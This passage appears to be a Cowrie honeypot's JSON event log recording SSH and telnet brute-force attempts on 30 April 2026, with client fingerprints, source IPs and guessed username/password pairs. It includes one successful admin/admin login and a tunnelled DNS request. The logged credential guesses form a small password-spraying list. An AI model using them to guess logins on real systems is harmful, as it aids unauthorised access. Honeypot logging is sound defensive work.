{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:35:22.776608Z","src_ip":"118.193.33.42","session":"c0dad79f5ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"777777","message":"login attempt [ubuntu/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:35:23.719848Z","src_ip":"118.193.33.42","session":"c0dad79f5ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:35:24.967220Z","src_ip":"118.193.33.42","session":"c0dad79f5ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be018c8d014","protocol":"ssh","message":"New connection: 118.193.33.42:35642 (159.203.135.109:22) [session: 1be018c8d014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:36:32.308088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:36:32.315978Z","src_ip":"118.193.33.42","session":"1be018c8d014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:36:32.540096Z","src_ip":"118.193.33.42","session":"1be018c8d014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"password","message":"login attempt [github/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:36:33.463917Z","src_ip":"118.193.33.42","session":"1be018c8d014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:36:34.684813Z","src_ip":"118.193.33.42","session":"1be018c8d014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":53462,"dst_ip":"159.203.135.109","dst_port":22,"session":"929b665df6fc","protocol":"ssh","message":"New connection: 118.193.33.42:53462 (159.203.135.109:22) [session: 929b665df6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:40.908768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:40.957473Z","src_ip":"118.193.33.42","session":"929b665df6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:41.167745Z","src_ip":"118.193.33.42","session":"929b665df6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1!","message":"login attempt [user/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:42.032654Z","src_ip":"118.193.33.42","session":"929b665df6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:43.259968Z","src_ip":"118.193.33.42","session":"929b665df6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11570,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abd73c64b6a","protocol":"ssh","message":"New connection: 87.251.64.176:11570 (10.17.0.5:22) [session: 9abd73c64b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:55.956175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:55.965159Z","src_ip":"87.251.64.176","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:56.112598Z","src_ip":"87.251.64.176","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:56.512295Z","src_ip":"87.251.64.176","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:56.665154Z","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:57.184956Z","src_ip":"87.251.64.176","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:57.340724Z","src_ip":"87.251.64.176","session":"9abd73c64b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"40813086ee0a","protocol":"telnet","message":"New connection: 176.65.139.45:56800 (159.203.135.109:23) [session: 40813086ee0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:57.668413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":47744,"dst_ip":"10.17.0.5","dst_port":22,"session":"19102a194bea","protocol":"ssh","message":"New connection: 152.244.206.148:47744 (10.17.0.5:22) [session: 19102a194bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:58.444467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:58.449360Z","src_ip":"152.244.206.148","session":"19102a194bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:58.615150Z","src_ip":"152.244.206.148","session":"19102a194bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"P@ssw0rd!","message":"login attempt [alex/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:37:59.577026Z","src_ip":"152.244.206.148","session":"19102a194bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:00.724375Z","src_ip":"152.244.206.148","session":"19102a194bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.164602756500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:27.832888Z","src_ip":"176.65.139.45","session":"40813086ee0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":16288,"dst_ip":"159.203.135.109","dst_port":22,"session":"418c3e8aed4c","protocol":"ssh","message":"New connection: 118.193.33.42:16288 (159.203.135.109:22) [session: 418c3e8aed4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:51.176338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:51.180702Z","src_ip":"118.193.33.42","session":"418c3e8aed4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:51.410369Z","src_ip":"118.193.33.42","session":"418c3e8aed4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer123456","message":"login attempt [ubuntu/developer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:52.296820Z","src_ip":"118.193.33.42","session":"418c3e8aed4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:38:53.523457Z","src_ip":"118.193.33.42","session":"418c3e8aed4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b007d6907e","protocol":"telnet","message":"New connection: 176.65.139.45:48824 (10.17.0.5:23) [session: e4b007d6907e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:39:49.190578Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":34114,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c24ad429168","protocol":"ssh","message":"New connection: 118.193.33.42:34114 (159.203.135.109:22) [session: 2c24ad429168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:39:57.929364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:39:57.935173Z","src_ip":"118.193.33.42","session":"2c24ad429168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:39:58.153671Z","src_ip":"118.193.33.42","session":"2c24ad429168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1q2w3e","message":"login attempt [user1/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:39:59.060005Z","src_ip":"118.193.33.42","session":"2c24ad429168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:40:00.308235Z","src_ip":"118.193.33.42","session":"2c24ad429168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.536527395248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:40:19.727007Z","src_ip":"176.65.139.45","session":"e4b007d6907e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48376,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff2c62a444b","protocol":"ssh","message":"New connection: 45.148.10.121:48376 (10.17.0.5:22) [session: 4ff2c62a444b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:40:23.306164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:40:23.311701Z","src_ip":"45.148.10.121","session":"4ff2c62a444b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:40:23.392992Z","src_ip":"45.148.10.121","session":"4ff2c62a444b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":51924,"dst_ip":"159.203.135.109","dst_port":22,"session":"e105ec2ed325","protocol":"ssh","message":"New connection: 118.193.33.42:51924 (159.203.135.109:22) [session: e105ec2ed325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:04.127757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:41:04.137851Z","src_ip":"118.193.33.42","session":"e105ec2ed325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-ni